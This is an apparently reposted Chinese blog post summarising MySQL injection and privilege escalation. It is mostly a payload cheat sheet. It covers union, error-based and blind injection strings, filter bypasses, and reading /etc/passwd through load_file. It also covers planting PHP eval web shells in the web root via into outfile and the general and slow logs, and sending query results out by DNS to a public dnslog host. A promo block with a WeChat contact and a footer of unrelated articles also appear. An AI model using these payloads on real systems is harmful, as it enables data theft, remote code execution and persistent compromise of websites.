草庐IT

数据库注入提权总结(一)

蚁景科技 2023-03-28 原文

MYSQL

基础注入

联合查询

  • 若前面的查询结果不为空,则返回两次查询的值:

  • 若前面的查询结果为空,则只返回union查询的值:

  • 关键字union select

  • 需要字段数对应

常用Payload:

# 查询表名
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查询字段名
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23

报错注入

报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:

# 修改select user() 字段 获取不同的信息

# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

# 5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

布尔盲注

常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。

返回值只有True或False的类型

如果查询结果不为空,则返回True(或者是Success之类的),否则返回False

这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确

例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+

Orderby盲注

order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:

例:order by rand(database()='pdotest')

返回了True的排序,说明database()=’pdotest’是正确的值

时间盲注

其实大多数页面,即使存在sql注入也基本是不会有回显的,因此这时候就要用延时来判断查询的结果是否正确。

常见的时间盲注有:

1.sleep(x)

id=' or sleep(3)%23

id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23

查询结果正确,则延迟3秒,错误则无延时。

2.benchmark()

通过大量运算来模拟延时:

id=' or benchmark(10000000,sha(1))%23

id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23

本地测试这个值大约可延时3秒:

3.笛卡尔积

计算笛卡尔积也是通过大量运算模拟延时:

select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C

select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)

笛卡尔积延时大约也是3秒

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

HTTP头注入

注入手法和上述相差不多,就是注入点发生了变化

HTTP分割注入

常见场景,登录处SQL语句如下,注释符号被过滤

select xxx from xxx where username=’xxx’ and password=’xxx’
# 方法一
username=1' or extractvalue/*
password=1*/(1,concat(0x7e,(select database()),0x7e))or'

SQL语句最终变为
select xxx from xxx where username='1' or extractvalue/*’ and password=’*/(1,concat(0x7e,(select database()),0x7e))or''

# 方法二
username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1
password=1
select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'

二次注入

二次注入主要出现在updateselect结合点,如注册之后在登录

攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题

SQL约束攻击

假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。

则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。

基础绕过

大小写绕过

用于过滤时没有匹配大小写的情况:

SelECt * from table;

双写绕过

用于将禁止的字符直接删掉的过滤情况如:

preg_replace(‘/select/‘,’’,input)

则可用seselectlect from xxx来绕过,在删除一个select后剩下的就是select from xxx

绕过空格

当空格被过滤时,可以使用/**/ () %0a %09进行绕过

使用16进制绕过特定字符

如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273为users的16进制

只能针对表名,字段名等,内置函数关键字,不能使用16进制替代

宽字节、Latin1默认编码

宽字节注入

用于单引号被转义,但编码为gbk编码的情况下,用特殊字符将其与反斜杠合并,构成一个特殊字符:

username = %df'#
经gbk解码后变为:
select * from users where username ='運'#

成功闭合了单引号。

Latin1编码

Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略

于是我们可以输入?username=admin%c2,存储至表中就变为了admin

上面的%c2可以换为%c2-%ef之间的任意字符

常见字符的替代

and -> &&
or -> ||
空格-> /**/ -> %a0 -> %0a -> +
# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注:regexp为正则匹配,利用正则会有些新的注入手段

逗号被过滤

# 用join代替:
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

# limit:
limit 2,1
limit 1 offset 2

# substr:
substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个
substr(database() from 5)
# 如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同

# if:
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end

limit被过滤

select user from users limit 1

加限制条件,如:

select user from users group by user_id having user_id = 1 (user_id是表中的一个column)

information_schema被过滤

innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中

除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema

文件读写

读写权限

在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N:

我们可以通过user()查看当前用户是什么,如果对应用户具有读写权限,则往下看,反之则放弃这条路找其他的方法。

除了要查看用户权限,还有一个地方要查看,即secure-file-priv。它是一个系统变量,用于限制读写功能,它的值有三种:

(1)无内容,即无限制

(2)为NULL,表示禁止文件读写

(3)为目录名,表示仅能在此目录下读写

该配置项存放在my.ini中,修改之后必须重启mysql重新加载配置文件

读文件

如果满足上述2个条件,则可尝试读写文件了。

常用的读文件的语句有如下几种:

select load_file(file_path);
load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件
load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件

需要注意的是,file_path必须为绝对路径,且反斜杠需要转义:

写文件

select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';

当secure_file_priv值为NULL时,可用生成日志的方法绕过:

set global general_log_file = '/var/www/html/1.php';
set global general_log = on;

日志除了general_log还有其他许多日志,实际场景中需要有足够的写入日志的权限,且需要堆叠注入的条件方可采用该方法,因此利用非常困难。

DNS外带注入

若用户访问DNS服务器,则会在DNS日志中留下记录。如果请求中带有SQL查询的信息,则信息可被带出到DNS记录中。

利用条件:

1.secure_file_priv为空且有文件读取权限

2.目标为windows(利用了UNC,Linux不可行)

3.无回显且无法时间盲注

利用方法:

可以找一个免费的DNSlog:http://dnslog.cn/

进入后可获取一个子域名,执行:

select load_file(concat('\\',(select database()),'.子域名.dnslog.cn'));

相当于访问了select database().子域名.dnslog.cn,于是会留下DNSLOG记录,可从这些记录中查看SQL返回的信息。

mysql getshell

文件导出函数GetShell

利用条件

  • 数据库当前用户为root权限

  • 知道当前网站的绝对路径

  • PHP的GPC为off状态

  • 写入的那个歌路径存在写入权限

基于联合查询时

?id=1 union select 1,'<?php phpinfo();?>',3 into outfile '网站根目录绝对路径'-- qwe
?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile '网站根目录绝对路径'-- qwe

非联合查询

?id=1 into outfile '网站根目录绝对路径' FIELDS TERMINATED BY '<?php phpinfo();?>'-- qwe

这个语句的意思是,导出当前数据表到xxx文件中,数据表中的字段以<?php phpinfo();?>分隔

形如:

id username password 导出后会变成
id<?php phpinfo();?>username<?php phpinfo();?>password

outfile和dumpfile的区别

outfile:

  1. 支持多行数据同时导出

  2. 使用union联合查询时,要保证两侧查询的列数相同

  3. 会在换行符制表符后面追加反斜杠

  4. 会在末尾追加换行

dumpfile:

  1. 每次只能导出一行数据

  2. 不会在换行符制表符后面追加反斜杠

  3. 不会在末尾追加换行

因此,dumpfile函数这个函数来顺利写入二进制文件,当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效),当使用dumpfile函数时,应该手动添加limit限制来获取不同的行数。

secure_file_prive

写文件提权,终究是离不开这个配置项:

secure_file_prive= ,结果为空的话,表示允许任何文件读写

secure_file_prive=NULL,表示不允许任何文件读写

secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径

在mysql5.5版本前,都是默认为空,允许读取

在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。

查询该参数配置的情况:

show global variables like "%secure%";

利用sql语句修改配置项(5.6版本以前,临时修改重启失效):

set global secure_file_prive=""

5.6版本以后,只能利用配置项修改:

日志GetShell

全局日志Getshell

利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来

# 查看日志是否开启
show variables like 'general_log';

# 开启日志功能
set global geeral_log=on;

# 查看文件日志保存位置
show variables like 'general_log_file';

# 设置日志保存位置(getshell的话存放在网站根目录,名为.php)
set global general_log_file='/var/www/html/shell.php';

# 查看日志输出类型 table:将日志存入数据库的日志表中;file:将日志存入文件中
show variables like 'log_output';

# 修改日志存储类型
set global log_output='table/file';

GetShell方式:

set global geeral_log=on;
set global general_log_file='/var/www/html/shell.php';
select '<?php eval($_POST[8]);?>'

慢日志GetShell

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式

# 查看服务器默认时间值方式
show global variables like '%long_query_time%'
show global variables like '%long%'

# 查看慢日志参数
show global variable like '%slow%';

GetShell方式:

# 打开慢日志
set global slow_query_log=on

# 设置慢日志路径
set global slow_query_log_file='/var/www/html/shell.php'

# 记录到日志中的语句
select '<?php @eval($_POST[8]);?>' or sleep(20)

爆绝对路径的方法

上述的提权方式都离不开知道网站的绝对路径,下面是一些得到绝对路径的方法。

单引号爆路径

  • 直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。www.xxx.com/news.php?id=1

错误参数值爆路径

Google爆路径

  • 结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。

Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

测试文件爆路径

  • 很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。

www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

phpmyadmin爆路径

  • 一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。

/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

配置文件找路径

  • 如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

Linux

为什么要把Linux单独提出来说,因为Linux的权限控制很严格,有的时候即使我们完全控住了MYSQL 但是 没有对网站根目录的读写权限,也会很没有办法去利用上述方法写shell。

更多靶场实验练习、网安学习资料,请点击这里>>

 

有关数据库注入提权总结(一)的更多相关文章

  1. ruby - 解析 RDFa、微数据等的最佳方式是什么,使用统一的模式/词汇(例如 schema.org)存储和显示信息 - 2

    我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i

  2. ruby - Ruby 有 `Pair` 数据类型吗? - 2

    有时我需要处理键/值数据。我不喜欢使用数组,因为它们在大小上没有限制(很容易不小心添加超过2个项目,而且您最终需要稍后验证大小)。此外,0和1的索引变成了魔数(MagicNumber),并且在传达含义方面做得很差(“当我说0时,我的意思是head...”)。散列也不合适,因为可能会不小心添加额外的条目。我写了下面的类来解决这个问题:classPairattr_accessor:head,:taildefinitialize(h,t)@head,@tail=h,tendend它工作得很好并且解决了问题,但我很想知道:Ruby标准库是否已经带有这样一个类? 最佳

  3. ruby - 我如何添加二进制数据来遏制 POST - 2

    我正在尝试使用Curbgem执行以下POST以解析云curl-XPOST\-H"X-Parse-Application-Id:PARSE_APP_ID"\-H"X-Parse-REST-API-Key:PARSE_API_KEY"\-H"Content-Type:image/jpeg"\--data-binary'@myPicture.jpg'\https://api.parse.com/1/files/pic.jpg用这个:curl=Curl::Easy.new("https://api.parse.com/1/files/lion.jpg")curl.multipart_form_

  4. 世界前沿3D开发引擎HOOPS全面讲解——集3D数据读取、3D图形渲染、3D数据发布于一体的全新3D应用开发工具 - 2

    无论您是想搭建桌面端、WEB端或者移动端APP应用,HOOPSPlatform组件都可以为您提供弹性的3D集成架构,同时,由工业领域3D技术专家组成的HOOPS技术团队也能为您提供技术支持服务。如果您的客户期望有一种在多个平台(桌面/WEB/APP,而且某些客户端是“瘦”客户端)快速、方便地将数据接入到3D应用系统的解决方案,并且当访问数据时,在各个平台上的性能和用户体验保持一致,HOOPSPlatform将帮助您完成。利用HOOPSPlatform,您可以开发在任何环境下的3D基础应用架构。HOOPSPlatform可以帮您打造3D创新型产品,HOOPSSDK包含的技术有:快速且准确的CAD

  5. FOHEART H1数据手套驱动Optitrack光学动捕双手运动(Unity3D) - 2

    本教程将在Unity3D中混合Optitrack与数据手套的数据流,在人体运动的基础上,添加双手手指部分的运动。双手手背的角度仍由Optitrack提供,数据手套提供双手手指的角度。 01  客户端软件分别安装MotiveBody与MotionVenus并校准人体与数据手套。MotiveBodyMotionVenus数据手套使用、校准流程参照:https://gitee.com/foheart_1/foheart-h1-data-summary.git02  数据转发打开MotiveBody软件的Streaming,开始向Unity3D广播数据;MotionVenus中设置->选项选择Unit

  6. 使用canal同步MySQL数据到ES - 2

    文章目录一、概述简介原理模块二、配置Mysql使用版本环境要求1.操作系统2.mysql要求三、配置canal-server离线下载在线下载上传解压修改配置单机配置集群配置分库分表配置1.修改全局配置2.实例配置垂直分库水平分库3.修改group-instance.xml4.启动监听四、配置canal-adapter1修改启动配置2配置映射文件3启动ES数据同步查询所有订阅同步数据同步开关启动4.验证五、配置canal-admin一、概述简介canal是Alibaba旗下的一款开源项目,Java开发。基于数据库增量日志解析,提供增量数据订阅&消费。Git地址:https://github.co

  7. ruby-on-rails - 创建 ruby​​ 数据库时惰性符号绑定(bind)失败 - 2

    我正在尝试在Rails上安装ruby​​,到目前为止一切都已安装,但是当我尝试使用rakedb:create创建数据库时,我收到一个奇怪的错误:dyld:lazysymbolbindingfailed:Symbolnotfound:_mysql_get_client_infoReferencedfrom:/Library/Ruby/Gems/1.8/gems/mysql2-0.3.11/lib/mysql2/mysql2.bundleExpectedin:flatnamespacedyld:Symbolnotfound:_mysql_get_client_infoReferencedf

  8. STM32读取串口传感器数据(颗粒物传感器,主动上传) - 2

    文章目录1.开发板选择*用到的资源2.串口通信(个人理解)3.代码分析(注释比较详细)1.主函数2.串口1配置3.串口2配置以及中断函数4.注意问题5.源码链接1.开发板选择我用的是STM32F103RCT6的板子,不过代码大概在F103系列的板子上都可以运行,我试过在野火103的霸道板上也可以,主要看一下串口对应的引脚一不一样就行了,不一样的就更改一下。*用到的资源keil5软件这里用到了两个串口资源,采集数据一个,串口通信一个,板子对应引脚如下:串口1,TX:PA9,RX:PA10串口2,TX:PA2,RX:PA32.串口通信(个人理解)我就从串口采集传感器数据这个过程说一下我自己的理解,

  9. SPI接收数据异常问题总结 - 2

    SPI接收数据左移一位问题目录SPI接收数据左移一位问题一、问题描述二、问题分析三、探究原理四、经验总结最近在工作在学习调试SPI的过程中遇到一个问题——接收数据整体向左移了一位(1bit)。SPI数据收发是数据交换,因此接收数据时从第二个字节开始才是有效数据,也就是数据整体向右移一个字节(1byte)。请教前辈之后也没有得到解决,通过在网上查阅前人经验终于解决问题,所以写一个避坑经验总结。实际背景:MCU与一款芯片使用spi通信,MCU作为主机,芯片作为从机。这款芯片采用的是它规定的六线SPI,多了两根线:RDY和INT,这样从机就可以主动请求主机给主机发送数据了。一、问题描述根据从机芯片手

  10. 微信小程序通过字典表匹配对应数据 - 2

    前言一般来说,前端根据后台返回code码展示对应内容只需要在前台判断code值展示对应的内容即可,但要是匹配的code码比较多或者多个页面用到时,为了便于后期维护,后台就会使用字典表让前端匹配,下面我将在微信小程序中通过wxs的方法实现这个操作。为什么要使用wxs?{{method(a,b)}}可以看到,上述代码是一个调用方法传值的操作,在vue中很常见,多用于数据之间的转换,但由于微信小程序诸多限制的原因,你并不能优雅的这样操作,可能有人会说,为什么不用if判断实现呢?但是if判断的局限性在于如果存在数据量过大时,大量重复性操作和if判断会让你的代码显得异常冗余。wxswxs相当于是一个独立

随机推荐